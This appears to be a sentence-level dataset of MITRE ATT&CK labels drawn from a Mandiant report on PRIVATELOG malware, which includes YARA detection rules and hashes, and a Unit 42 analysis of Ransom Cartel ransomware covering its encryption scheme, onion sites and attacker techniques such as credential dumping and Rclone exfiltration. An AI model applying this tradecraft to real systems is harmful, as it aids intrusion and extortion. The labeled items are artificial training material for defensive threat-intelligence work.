{"sentence": "and uint32(i*512+40) == 0x70 and uint32(i*512+0x88) > 0x200 and uint32(i*512+0x88) < filesize // look for high entropy in the record[8:] to account for possible block header and math.entropy(i*512+0x70+uint16(i*512+0x70+0x22)+8, i*512+0x70+uint16(i*512+0x70+0x22)+uint32(i*512+0x88)-0x28) > 7.95 ) } rule HUNTING_Win_PRIVATELOG_1_strict { meta: author = \"adrien.bataille@mandiant.com\" description = \"Detects PRIVATELOG and STASHLOG variants based on strings and imports\" md5 = \"91b08896fbda9edb8b6f93a6bc811ec6\" strings: $hvid = \"Global\\\\HVID_\" ascii $apci = \"Global\\\\APCI#\" wide condition: uint16(0) == 0x5A4D and uint32(uint32(0x3C))", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "== 0x00004550 and ( all of them and ( pe.imports(\"clfsw32.dll\",\"CreateLogMarshallingArea\") and pe.imports(\"kernel32.dll\", \"VirtualProtect\") and pe.imports(\"ktmw32.dll\", \"CreateTransaction\") and pe.imports(\"kernel32.dll\", \"CreateFileTransactedA\") ) ) } rule HUNTING_Win_PRIVATELOG_2_notstrict { meta: author = \"adrien.bataille@mandiant.com\" description = \"Detects possible PRIVATELOG and STASHLOG variants based on strings or imports.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "This rule is purposefully loose so there may be a higher FP rate.\"", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "== 0x00004550 and ( any of them or ( pe.imports(\"clfsw32.dll\",\"CreateLogMarshallingArea\") and pe.imports(\"kernel32.dll\", \"VirtualProtect\") and pe.imports(\"ktmw32.dll\", \"CreateTransaction\") and pe.imports(\"kernel32.dll\", \"CreateFileTransactedA\") ) ) } rule HUNTING_Win_hijack_prntvpt { meta: author = \"adrien.bataille@mandiant.com\" description = \"Detects possible hijack of legitimate prntvpt.dll based on missing export\" md5 = \"91b08896fbda9edb8b6f93a6bc811ec6\" condition: uint16(0) == 0x5A4D and uint32(uint32(0x3C))", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "== 0x00004550 and pe.exports(\"PTOpenProviderEx\") and not pe.exports(\"MergeAndValidatePrintTicketThunk\") } EDR / SIEM To complement static hunting with Yara, Mandiant also recommends hunting for similar indicators of compromise in “process”, “imageload” or “filewrite” events of typical EDR logs.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Figure 5 identifies key modules loaded by PRIVATELOG that may be used to create hunting queries: ktmw32.dll, dbghelp.dll and clfsw32.dll. Figure 5: Memory view of a running PRIVATELOG process", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "For example, file writes to the registry transaction file for the default user are likely to be uncommon.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Hashes PRIVATELOG Prntvpt.dll: 1e53559e6be1f941df1a1508bba5bb9763aedba23f946294ce5d92646877b40c STASHLOG Shiver.exe: 720610b9067c8afe857819a098a44cab24e9da5cf6a086351d01b73714afd397 MITRE ATT&ACK Techniques ID Technique T1012 Query Registry T1564 Hide Artifacts T1574 Hijack Execution Flow T1574.002 DLL Side-Loading T1055.013 Process Injection: Process Doppelgänging FireEye Product Detections Platform(s) Detection Name Network Security Email Security Detection On Demand Malware Analysis File Protect FE_APT_Loader_Win_PRIVATELOG FE_APT_Installer_Win_STASHLOG HX Security Generic.mg.0c605276ff21b515", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "This ransomware performs double extortion attacks and exhibits several similarities and technical overlaps with REvil ransomware.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "When Ransom Cartel first appeared, it was unclear whether it was a rebrand of REvil or an unrelated threat actor who reused or mimicked REvil ransomware code.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "In this report, we will provide our analysis of Ransom Cartel ransomware, as well as our assessment of the possible connections between REvil and Ransom Cartel ransomware.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Palo Alto Networks customers receive help with the detection and prevention of Ransom Cartel ransomware through the following products and services: Cortex XDR and Next-Generation Firewalls (including cloud-delivered security services such as WildFire).", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "If you think a cyber incident may have impacted you, the Unit 42 Incident Response team is available 24/7/365.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "You can also take preventative steps by requesting any of our cyber risk management services. Indicators of compromise and Ransom Cartel-associated tactics, techniques and procedures (TTPs) can be found in the Ransom Cartel ATOM.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "We updated this blog on Oct. 15 based on further analysis, additional evidence and discussion around the complexities of redirects from REvil’s dark web leak site.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Updated sections include our History of the REvil Disappearance and the Ransom Cartel Overview.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Table of Contents History of the REvil DisappearanceRansom Cartel OverviewTTPs Observed During Ransom Cartel AttacksRansom NotesRansom Cartel TOR SiteTechnical Details Ransom Cartel and REvil Code ComparisonRansom Cartel Tactics, Techniques and ProceduresMalware, Tools and Exploits UsedConclusionIndicators of Compromise History of the REvil Disappearance In October 2021, REvil operators went quiet.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Around mid-April 2022, individual security researchers and cybersecurity media outlets reported a new development with REvil that could signify the gang’s return.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "REvil’s name-and-shame blogs at the dnpscnbaix6nkwvystl3yxglz7nteicqrou3t75tpcc5532cztc46qyd[.]onion and aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd[.]onion domains started redirecting users to a new name-and-shame blog available at blogxxu75w63ujqarv476otld7cyjkq4yoswzt4ijadkjwvg3vrvd5yd[.]onion/Blog.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "This redirect was documented in our post, “Understanding REvil,” in Bleeping Computer’s post on REvil’s TOR sites redirecting to a new ransomware operation and in a Twitter post from vx-underground.", "labels": ["T1090"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Later the same day, the redirect was removed (as noted by vx-underground).", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "They also included the old file-sharing links previously used by REvil as proof of compromise.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "The newly established blog listed Tox Chat ID for communication with the ransomware operator.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "The blog hinted at its operators’ connection to REvil with the claim that the newer group offered “the same, yet improved software.”", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Unit 42 initially believed that this blog was linked to Ransom Cartel and that the “improved software” the threat actors referred to was a new Ransom Cartel variant.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "However, after further analysis and seeing more evidence, we believe it is also possible that the name-and-shame blog and Ransom Cartel are two separate operations.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "To read more about REvil, its disappearance and the redirect, please refer to our blog, Understanding REvil.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Security researchers at MalwareHunterTeam believe the group to have been active since at least December 2021.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "They observed the first known Ransom Cartel activity and noticed several similarities and technical overlaps with REvil ransomware.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "One theory in the community suggests that Ransom Cartel could be the result of multiple groups merging.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "However, researchers at MalwareHunterTeam have put forward that one of the groups believed to have merged has denied any connection with Ransom Cartel.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "This suggests there was a relationship between the groups at some point, though it may not have been recent.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Unit 42 incident responders have also assisted clients with response efforts in several Ransom Cartel cases.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "This includes access credentials for external remote services, remote desktop protocol (RDP), secure shell protocol (SSH) and virtual private networks (VPNs).", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "These credentials are widely available in the cyber underground and offer threat actors a reliable means to gain access to victims' corporate networks.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "These credentials can also be obtained through the work of ransomware operators themselves or by purchasing them from an initial access broker.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Initial access brokers are actors who offer to sell compromised network access.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Due to the profitability of ransomware, these brokers likely have working relationships with RaaS groups based on the amount they are willing to pay.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Unit 42 has seen evidence that Ransom Cartel has relied on this type of service to gain initial access for ransomware deployment.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Unit 42 has also observed Ransom Cartel encrypting both Windows and Linux VMWare ESXi servers in attacks on corporate networks.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Tactics, Techniques and Procedures Observed During Ransom Cartel Attacks Unit 42 observed a Ransom Cartel threat actor using a tool called DonPAPI, which has not been observed in past incidents.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "This tool can locate and retrieve Windows Data Protection API (DPAPI) protected credentials, which is known as DPAPI dumping.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "DonPAPI is used to search machines for certain files known to be DPAPI blobs, including Wi-Fi keys, RDP passwords,", "labels": ["T1083"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "credentials saved in web browsers, etc.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "To compromise Linux ESXi devices, Ransom Cartel uses DonPAPI to harvest credentials stored in web browsers used to authenticate to the vCenter web interface.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "The threat actor will create new accounts and sets the account’s user identifier (UID) to zero.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "For Unix/Linux users, a UID=0 is root.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "This means any security checks are bypassed.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "The threat actor was observed downloading and using a cracked version of a legitimate tool called PDQ Inventory, which is a legitimate system management solution that IT administrators use to scan their network and collect hardware, software and Windows configuration data.", "labels": ["T1072"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Once a VMware ESXi server is compromised, the threat actor launches the encryptor, which will automatically enumerate the running virtual machines (VMs) and shut them down using the esxcli command.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Terminating the VM processes ensures that the ransomware can successfully encrypt VMware-related files.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "During encryption, Ransom Cartel specifically seeks out files with the following file extensions: .log, .vmdk, .vmem, .vswp and .vmsn.", "labels": ["T1083"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "In addition to the use of similar wording, both notes employed the same format of a 16-byte hexadecimal string for the UID. Figure 2.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Ransom Cartel ransom note shown on the left, compared to a ransom note sent by REvil shown on the right.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "We’ve observed multiple TOR URLs belonging to Ransom Cartel, which likely indicates that they had been changing infrastructure and actively developing their website.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Ransom Cartel TOR site landing page.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Upon entering the TOR site through the Authorization button, a screen requesting input of the details included in the ransom note is requested.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Ransom Cartel website, requesting the ID and key provided in the ransom note.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Once authorization is completed on the TOR site, the page shown in Figure 5 appears.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Technical Details Two Ransom Cartel samples were used during this analysis: File one SHA256: 55e4d509de5b0f1ea888ff87eb0d190c328a559d7cc5653c46947e57c0f01ec5File two SHA256: 2411a74b343bbe51b2243985d5edaaabe2ba70e0c923305353037d1f442a91f5 Both of the samples contained three total exports:", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "RathbuigeServiceMainSvchostPushServiceGlobals The samples also contain a DllEntryPoint, should the DLL be executed without specifying an export.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "If this value is anything other than 0, the ransomware will proceed to spawn another instance of itself via rundll32.exe, specifying the Rathbuige export.", "labels": ["T1218.011"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "The Rathbuige export starts by creating the following mutex: Global\\\\266ee996-e1ac-4eaa-9bdb-0b639d41b32d Once the mutex is created, the sample begins to decrypt and parse its embedded configuration.", "labels": ["T1140"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "The configuration is stored as a base64-encoded blob, whereby the first 16 bytes of the base64-encoded blob is the RC4 key used for decrypting the rest of the blob once it has been decoded.", "labels": ["T1027", "T1140"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Once decrypted, the configuration is stored in JSON format and consists of information such as encrypted file extension, the threat actors' public Curve25519-donna key, a base64-encoded ransom note, and a list of processes and services to terminate prior to encryption.", "labels": ["T1027", "T1140"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Example of decrypted Ransom Cartel configuration.", "labels": ["T1140"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "A breakdown of the keys and their values within the configuration can be seen in Table 2. Configuration Key Value pk Attacker public key dbg Debug mode wht Allow listed items Files to avoid Extensions to avoid prc Processes to terminate svc Services to terminate nname Name of ransom note file nbody Ransom note content ext Encrypted file extension Table 2.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Configuration structure.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Targeted process list.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "mod cpl ps1 cab com ani diagcab adv themepack shs sys rom cur ldf msu mpa spl msi msc wpx 386 diagcfg lock prf deskthemepack bin ico diagpkg nomedia idx ics hlp msp msstyles key cmd scr exe drv hta nls dll lnk icns ocx theme bat icl rtp Table 5.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Following decryption of the configuration, certain system information is gathered, including the username, computer name, domain name, locale and product name.", "labels": ["T1033", "T1082"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Key Value ver Version of the ransomware, hardcoded.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "In both samples set to 0x65 (101) pk Public key found within the configuration uid Unique identifier calculated via CRC-32 hashing certain machine information sk Encoded session secret unm Username net Computer name grp Computer domain lng Computer locale bro Does keyboard locale match any hardcoded locale value – true/false os Product name bit System architecture dsk Disk information ext Ransomware extension Table 6.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Hardcoded JSON format keys and values.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Once the configuration has been parsed and stored within the registry, the command line provided to the ransomware is parsed.", "labels": ["T1059.003", "T1112"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "There are a total of five possible arguments, as shown in Table 7. Argument Description -nolan Instruct the sample not to attempt any form of network drive encryption -nolocal Prevent the encryption of all local volumes -path Target specific file path to encrypt -silent Appears to instruct the ransomware to avoid terminating running processes and services, and it begins encrypting files immediately -smode Causes the ransomware to use BCEdit in order to enable Safe Boot; check out this article on REvil’s use of “Windows Safe Mode” encryption for a discussion about this particular technique.", "labels": ["T1083"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Table 7.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Ransom Cartel accepted arguments.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "With that, let’s move on to analyzing the session secret generation procedure.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Ransom Cartel first checks to see if the registry already contains previously generated values; if so, it will read those values into memory.", "labels": ["T1012"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Otherwise, it will generate a total of two session secrets at runtime, with each secret containing 88 bytes of data.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "When generating the first session secret, another session key pair is generated, (session_public_2 and session_private_2) and session_private_2 is paired with attacker_cfg_public (the public key embedded within the configuration) to generate a shared key.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "This shared key is then hashed with the SHA3 hashing algorithm.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "The resulting hash is used as an AES key with a random 16-byte initialization vector (IV) for encrypting a data blob consisting of four null bytes followed by session_private_1. Figure 8.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "From there, the encrypted blob is hashed using CRC-32, and then appended with the values session_public_2, the AES IV, and the calculated CRC-32 hash.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "The resulting value is session_secret_1.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Decompiled session secret generation procedure.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "One final embedded public key (attacker_embedded_public_2) is used to encrypt the data formatted into the JSON structure described above.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "This method of generating session secrets was documented by researchers at Amossys back in 2020; however, their analysis focused on an updated version of Sodinokibi/REvil ransomware, indicating a direct overlap between the REvil source code and the latest Ransom Cartel samples.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Once the session secrets have been generated, they are written to the registry, alongside session_public_1 and attacker_cfg_public.", "labels": ["T1112"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Path Name Value SOFTWARE\\\\Google_Authenticator\\\\ WRZfsL attacker_cfg_public SOFTWARE\\\\Google_Authenticator\\\\ RB4y session_public_1 SOFTWARE\\\\Google_Authenticator\\\\ Kbcn0 session_secret_1 SOFTWARE\\\\Google_Authenticator\\\\ BSjHn session_secret_2 Table 8.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "At this point, all the required information is gathered and generated so that file encryption can begin.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "For each file, a unique file public and private key pair are generated (file_public_1 and file_private_1), once again using Curve25519 Donna.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "file_private_1 and session_public_1 are paired together to generate a shared key, which is hashed using SHA3.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "The CRC-32 hash of file_public_1 is calculated, and then four null bytes are encrypted using the generated Salsa20 matrix.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Certain elements of the above data are then retained and used as part of the encrypted file footer; each file footer is 232 bytes in length and is made up of the following:", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "session_secret_1 (88 bytes)", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "session_secret_2 (88 bytes) file_public_1", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "File encryption setup process.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Ransom Cartel and REvil Code Comparison The Ransom Cartel samples analyzed revealed similarities with REvil ransomware.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "The first notable similarity between Ransom Cartel and REvil is the structure of the configuration.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Examining a sample of REvil from 2019 (SHA256: 6a2bd52a5d68a7250d1de481dcce91a32f54824c1c540f0a040d05f757220cd3), the resemblance can be seen.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Once the REvil configuration has decrypted, it utilizes the same JSON format, but contains additional values such as pid, sub, fast, wipe and dmn.", "labels": ["T1140"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Decrypted REvil configuration.", "labels": ["T1140"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "As discussed previously, another major overlap is the code reuse across the two samples of Ransom Cartel.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "REvil session secret generation function.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Both use Salsa20 and Curve25519 for file encryption, and there are very few differences in the layout of the encryption routine besides the structure of the internal type structs.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "REvil file encryption setup function.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Ransom Cartel Tactics, Techniques and Procedures Below is a list of TTPs observed being used by Ransom Cartel affiliates: TTPs Notes TA0001", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Valid Accounts Uses legitimate VPN, RDP, Citrix or VNC credentials to maintain access to an environment. T1133.", "labels": ["T1078"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "PowerShell Uses PowerShell to retrieve the malicious payload and download additional resources such as Mimikatz and Rclone. T1059.003 Command and Scripting Interpreter:", "labels": ["T1003.001", "T1105"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Windows Command Shell Uses cmd.exe to execute commands.", "labels": ["T1059.003"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "OS Credential Dumping: /etc/passwd and /etc/shadow Attempts to dump the contents of /etc/passwd and /etc/shadow to enable offline password cracking. T1136.001.", "labels": ["T1110"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Create Account: Local Account Creates new users’ accounts.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Account Manipulation Adds newly created accounts to the administrators group to maintain elevated access. T1547.001.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Boot or Logon Autostart Execution: Registry Run Keys/Startup Folder Adds registry run keys to achieve persistence.", "labels": ["T1547.001"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "In some cases, we observed using the following command: start cmd.exe /k runonce.exe /AlternateShellStartup T1197.", "labels": ["T1059.003"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "BITS Jobs Uses BITSAdmin to download and install payloads.", "labels": ["T1105"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "TA0004 Privilege Escalation T1068.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Exploitation for Privilege Escalation Exploits Print Nightmare vulnerability.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "File and Directory Permissions Modification:", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Linux and Mac File and Directory Permissions Modification Uses the chmod +x command to grant executable permissions to the ransomware. T1112.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Indicator Removal on Host: File Deletion Deletes some of its files used during operations as part of cleanup, including removing applications such as 7z.exe, tor.exe, ssh.exe T1070.003.", "labels": ["T1070.004"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Indicator Removal on Host: Clear Command History Clears Windows PowerShell and WitnessClientAdmin log file.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Obfuscated Files or Information Uses encoded PowerShell commands.", "labels": ["T1027"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "TA0006 Credential Access T1003.001.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "OS Credential Dumping: LSASS Memory Uses Mimikatz to harvest credentials.", "labels": ["T1003.001"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "T1555.003.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Credentials from Password Stores: Credentials from Web Browsers Compromises users’ saved passwords from browsers.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Network Service Discovery Uses tools such as PDQ Inventory scanner, Advanced Port Scanner and netscan (which also scanned for the ProxyShell vulnerability).", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "T1083.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "File and Directory Discovery Searches for specific files prior to encryption.", "labels": ["T1083"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "T1135.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Network Share Discovery Enumerates remote open SMB network shares T1087.001.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Account Discovery: Local Account Accesses ntuser.dat and /etc/passwd to enumerate all accounts.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "TA0008 Lateral Movement T1021.004.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Pass the Hash Dumps password hashes for use in pass the hash authentication attacks. T1021.001.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Remote Desktop Protocol Uses RDP for lateral movement.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Archive Collected Data: Archive via Utility Uses 7-Zip to compress stolen data for exfiltration.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "TA0010 Exfiltration T1567.002.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Exfiltration Over Web Service: Exfiltration to Cloud Storage Uses Rclone to exfiltrate data to cloud sharing websites (such as PCloud and MegaSync).", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Proxy Routes traffic over TOR and VPN servers to obfuscate their activities.", "labels": ["T1090"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Ingress Tool Transfer Downloads and uploads files to and from the victim’s machine.", "labels": ["T1105"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "The following extensions have been observed (.zmi5z, .nwixz, .ext, .zje2m, .5vm8t, .m4tzt).", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Table 9.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Tactics, techniques and procedures for Ransom Cartel activity.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Malware, tools and exploits used.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
